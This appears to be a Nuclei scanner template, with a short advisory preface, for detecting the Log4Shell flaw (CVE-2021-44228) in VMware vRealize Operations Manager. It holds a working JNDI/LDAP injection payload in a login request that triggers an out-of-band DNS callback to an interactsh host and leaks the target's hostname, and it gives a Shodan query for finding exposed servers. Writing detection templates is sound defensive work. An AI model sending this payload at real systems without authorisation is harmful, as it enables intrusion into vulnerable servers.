VMware Operations Manager is susceptible to remote code execution via the Apache Log4j framework. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
PoC代码[已公开]
id: vmware-operation-manager-log4j-rce
info:
name: VMware Operations Manager - Remote Code Execution (Apache Log4j)
author: DhiyaneshDK
severity: critical
description: VMware Operations Manager is susceptible to remote code execution via the Apache Log4j framework. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
reference:
- https://www.vmware.com/security/advisories/VMSA-2021-0028.html
- https://logging.apache.org/log4j/2.x/security.html
- https://nvd.nist.gov/vuln/detail/CVE-2021-44228
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10
cve-id: CVE-2021-44228
cwe-id: CWE-77
cpe: cpe:2.3:a:vmware:vrealize_operations_manager:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
shodan-query: title:"vRealize Operations Manager"
product: vrealize_operations_manager
vendor: vmware
tags: cve,cve2021,rce,jndi,log4j,vmware,kev,oast,vuln
variables:
rand1: '{{rand_int(111, 999)}}'
rand2: '{{rand_int(111, 999)}}'
http:
- raw:
- |
POST /ui/login.action HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Origin: {{BaseURL}}
Referer: {{BaseURL}}/ui/login.action
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
mainAction=login&userName=${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.username.{{interactsh-url}}}&password=admin&authSourceId=localItem&authSourceName=Local%20Users&authSourceType=LOCAL&forceLogin=&timezone=330&languageCode=us
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol # Confirms the DNS Interaction
words:
- "dns"
- type: word
part: header
words:
- 'Path=/ui'
- type: regex
part: interactsh_request
regex:
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
extractors:
- type: kval
kval:
- interactsh_ip
- type: regex
part: interactsh_request
group: 2
regex:
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
- type: regex
part: interactsh_request
group: 1
regex:
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
# digest: 490a0046304402204177fef5c0777118cae42ad0c18deb4584cd0e038aebd80dd49c65e326e6c732022005962b5bd28d24f73090d842fc9bc48901c1946b139711f70adcf7307213b482:922c64590222798bb761d5b6d8e72950